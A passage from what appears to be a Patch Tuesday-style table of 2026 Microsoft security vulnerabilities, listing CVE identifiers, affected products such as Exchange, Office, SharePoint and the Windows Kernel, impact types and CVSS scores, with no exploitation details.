Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows 